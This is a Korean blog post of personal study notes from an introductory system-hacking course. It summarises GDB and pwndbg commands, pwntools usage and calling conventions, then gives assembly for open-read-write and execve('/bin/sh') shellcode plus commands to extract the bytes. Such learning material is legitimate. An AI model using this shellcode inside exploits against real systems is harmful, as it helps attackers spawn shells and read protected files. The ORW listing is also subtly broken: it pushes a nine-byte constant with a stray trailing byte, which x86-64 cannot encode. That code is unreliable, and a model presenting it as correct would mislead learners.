System Hacking 배경 지식 정리

Hunjison·2023년 12월 14일
0

[Dreamhack] System Hacking 기초 강의 수강하면서 개인적으로 공부한 내용입니다.

GDB

GDB 명령어 정리

b: break
c: continue (이어서)
r: run (처음부터)

  • r $(python3 -c "print('AA'*10)") : 인자와 함께 프로그램 실행
  • r $(echo '11') <<< $(python3 -c "print('AA'*10)") : 인자 + 입력값 전달

si: step into (함수 내부로 진입)
ni: next instruction (함수 내부로 진입 X)
finish: 함수의 끝까지 실행
x: examine (메모리의 임의 값 관찰)

  • x/{size}{format} {location}
    • size: b(byte), h(half word), w(word), g(giant, 8byte)
    • format: o(octal), x(hex), d(decimal), u(unsigned decimal), t(binary), f(float), a(address), i(instruction), c(char), s(string) and z(hex, zero padded on the left)
    • location: $rsp, $rip, $rax ... 등등

i: info
k: kill
pd: pdisas
[pwndbg]
entry: _start 함수에 bp를 걸어주는 명령어
u: pwndbg에서 제공하는 디스어셈블 명령어(예쁘게 보여줌)
tele: telescope (특정 주소의 메모리 값 + 메모리가 참조하고 있는 주소를 재귀적으로 보여줌)
vmmap: 가상 메모리의 레이아웃을 보여주는 명령어. 어떤 라이브러리가 어떤 주소에 매핑되어 있는지 알 수 있음

x86 assembly 정리

  • endbr64: [참고] ROP/JOP와 같은 비정상적인 스택의 동작을 유도하는 공격을 막기 위해서 도입한 보호 기법. JMP나 CALL 명령어 이후에 반드시 endbr32/endbr64 함수가 등장하도록 컴파일하고, 그렇지 않은 경우에는 에러를 발생시키는 방식. 이러한 보호 기법을 적용하지 않는 CPU에서는 NOP으로 해석된다고 함.
  • BND/REPNE: [참고] 위와 마찬가지로 Intel MPX(Memory Protection Extensions) 보호 기법의 일부. BND 뒤에 나오는 명령어(e.g. bnd jmp)가 BND0 ~ BND3 레지스터에 의해 지정된 바운드에 대해 검증받아야 한다는 것을 명시하는 명령어.
  • movabs : [참고] 64비트 값을 레지스터에 쓰는 명령어

PIE(Position Independent Executable)

  • [참고] [참고2] PIE란 실행될 때마다 매핑 주소가 바뀌어도 관계 없이 실행되는 파일로, 바이너리의 주소를 실행할 때마다 랜덤하게 바꿀 수 있기 때문에 고정된 오프셋을 이용한 공격을 방어하는 메커니즘이다.
  • PIE 확인: checksec.sh --file ./file (checksec.sh 다운로드 및 환경변수 설정 필요)
  • no-pie 옵션: gcc 실행 시에 해당 옵션으로 PIE 활성화 여부를 결정할 수 있음

Pwntools

# python3 -m pip install --upgrade pwntools
from pwn import *

# 로컬 바이너리 or 원격 서버 연결
p = process('./test')
p = remote('example.com', 31337)

# Exploit 설정
context.log_level = "debug" 
# 'error' : 에러만 출력, 'info' : 비교적 중요한 정보, 'debug' : 모든 내용
context.arch = "amd64"
# "amd64"(x86-64), "i386"(x86), "arm"(arm)

# 데이터 전송
p.send(b'A')
p.sendline(b'A') # \n 추가
p.sendafter(b'hello', b'A') # b'hello'가 출력되기를 기다렸다가, b'A' 전송
p.sendlineafter # \n 추가

# 데이터 받기
data = p.recv(1024) # 최대 1024바이트 수신
data = p.recvline() # \n이 나올 때까지 기다렸다가 저장
data = p.recvn(5) # 5바이트를 받을 때까지 기다렸다가 저장
data = p.recvuntil(b'hello') # b'hello'가 출력될 때까지 수신하여 저장
data = p.recvall() # 프로세스가 종료될 때까지 받아서 저장

# 데이터 변환 (hex -> byte)
p32(0x41424344) # b'DCBA', 4byte little-endian으로 packing
p32(0x41424344, endian="big") # big-endian packing
p64(0x4142434445464748) # b'HGFEDCBA', 8byte little-endian
p64(0x4142434445464748, endian="big") # big-endian packing

# 데이터 변환 (byte -> hex)
hex(u64(b'HGFEDCBA')) # 0x4142434445464748, 나머지 동일

# 쉘 획득 이후 - interactive
p.interactive()

# ELF의 정보 획득
e = ELF('./test')
puts_plt = e.plt['puts']
read_got = e.got['read']
func_addr = e.symbols['func_name']

# Shellcraft 활용
context.arch = "amd64"
code = shellcraft.sh() # code는 assembly 형태
code = asm(code)       # code는 기계어 형태

쉘코드 만들기

함수 호출 규약(x86-64)

[참고] [참고]

  • 리눅스(x86-64)
    • RDI / RSI / RDX / RCX / R8 / R9 레지스터 순서대로 이용
    • 인자가 7개 이상일 때에는 스택을 같이 이용
  • 윈도우(x86-64)
    • RCX / RDX / R8 / R9 레지스터 순서대로 이용
    • 인자가 5개 이상일 때에는 스택을 같이 이용

함수 호출 규약(x86)

[참고] [참고]

  • 실습을 위해 이용할 함수
int main(void)
{
	int ret = foo(2, 3);
    return 0;
}

int foo(int a, int b)
{
	return a + b;
}
  • CDECL(C Declaration, x86)

    • C언어에서 일반적으로 사용하는 함수 호출 규약
    • 결과값 반환은 eax로 함
    _main:
    push 3
    push 2
    call foo	
    add esp, 8	; 함수 외부에서 스택을 정리함
    
    _foo:
    push ebp
    mov ebp, esp
    mov eax, [ebp + 0x8]  ; arg[0] 접근
    mov ebx, [ebp + 0xc]  ; arg[1] 접근
    add eax, ebx
    pop ebp
    ret			; 함수 외부에서 정리하므로 그냥 return
  • STDCALL(x86)

    • WIN32 API의 표준 호출 규약으로 주로 사용
    • 스택 정리하는 주체가 함수 내부/외부인지 이외에는 동일
    _main:
    push 3
    push 2
    call foo		; 함수 내부에서 스택을 정리함
    
    _foo:
    push ebp
    mov ebp, esp
    mov eax, [ebp + 0x8]  ; arg[0] 접근
    mov ebx, [ebp + 0xc]  ; arg[1] 접근
    add eax, ebx
    pop ebp
    ret 8			; 함수 내부에서 8만큼 스택 정리
  • FASTCALL(x86, x86-64)

    • ECX / EDX 레지스터를 통해 인자 전달
    • 인자가 3개 이상일 때에는 스택을 같이 이용
    • 함수 내부에서 스택 정리
    _main:
    mov edx, 3	; arg[1]
    mov ecx, 2	; arg[0]
    call foo		; 함수 내부에서 스택 정리
    
    _foo:
    push ebp
    mov ebp, esp
    sub esp, 8
    mov dword ptr ss:[ebp-8], edx
    mov dword ptr ss:[ebp-4], ecx
    mov eax, dword ptr ss:[ebp-4]
    add eax, dword ptr ss:[ebp-8]
    mov esp, ebp	
    pop ebp
    ret		; 인자 3개 이상 이용한 경우 여기에서 스택 정리

File Descriptor

  • 0 번 표준입력, 1번 표준출력, 2번 표준에러
  • 프로세스에서 파일을 열 때에 3번부터!!! 할당됨

System Call

  • x86 환경에서는 int 0x80 명령어를 통해 system call 호출
  • x86-64 환경에서는 syscall 명령어를 통해 system call 호출

호출 파라미터는 [참고] (너무 잘 정리되어 있음)

ORW(Open-Read-Write) 쉘코드 만들기

  • int fd = open(“/tmp/flag”, O_RDONLY, NULL)
  • "/tmp/flag"를 스택에 푸시할 때에, 스택이 64비트 기준 최대 8바이트씩 데이터를 쓸 수 있으므로 "g"를 먼저 푸시한 뒤에, "/tmp/fla"를 푸시함
push 0x67 					; "g"
push 0x616c662f706d742f67 	; "/tmp/fla"를 리틀엔디안 형식으로
mov rdi, rsp				; arg[0] = "/tmp/flag"
xor rsi, rsi				; arg[1] = O_RDONLY(0)
xor rdx, rdx				; arg[2] = NULL(0)
mov rax, 2					; syscall "open"
syscall						; open("/tmp/flag", O_RDONLY, NULL)

mov rdi, rax				; arg[0] = fd(file descriptor)
mov rsi, rsp
sub rsi, 0x30				; arg[1] = buffer[0x30]
mov rdx, 0x30				; arg[2] = len(0x30)
mov rax, 0					; syscall "read"
syscall						; read(fd, buf, 0x30)

mov rdi, 1					; arg[0] = fd(1, 표준 출력)
mov rax, 0x1				; syscall "write"
							; arg[1], arg[2] 동일하여 생략
syscall						; write(1, buf, 0x30)

execve 쉘코드 만들기

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
mov rsi, 0
mov rdx, 0
mov rax, 0x3b
syscall

쉘코드 추출

vim orw_shellcode.asm 				// 어셈블리 작성
nasm -f elf64 orw_shellcode.asm		// 빌드
objdump -s orw_shellcode.o 			// (옵션) 빌드 확인
objcopy -j .text -O binary orw_shellcode.o shellcode.bin // 쉘코드 추출
profile
비전공자 출신 화이트햇 해커

0개의 댓글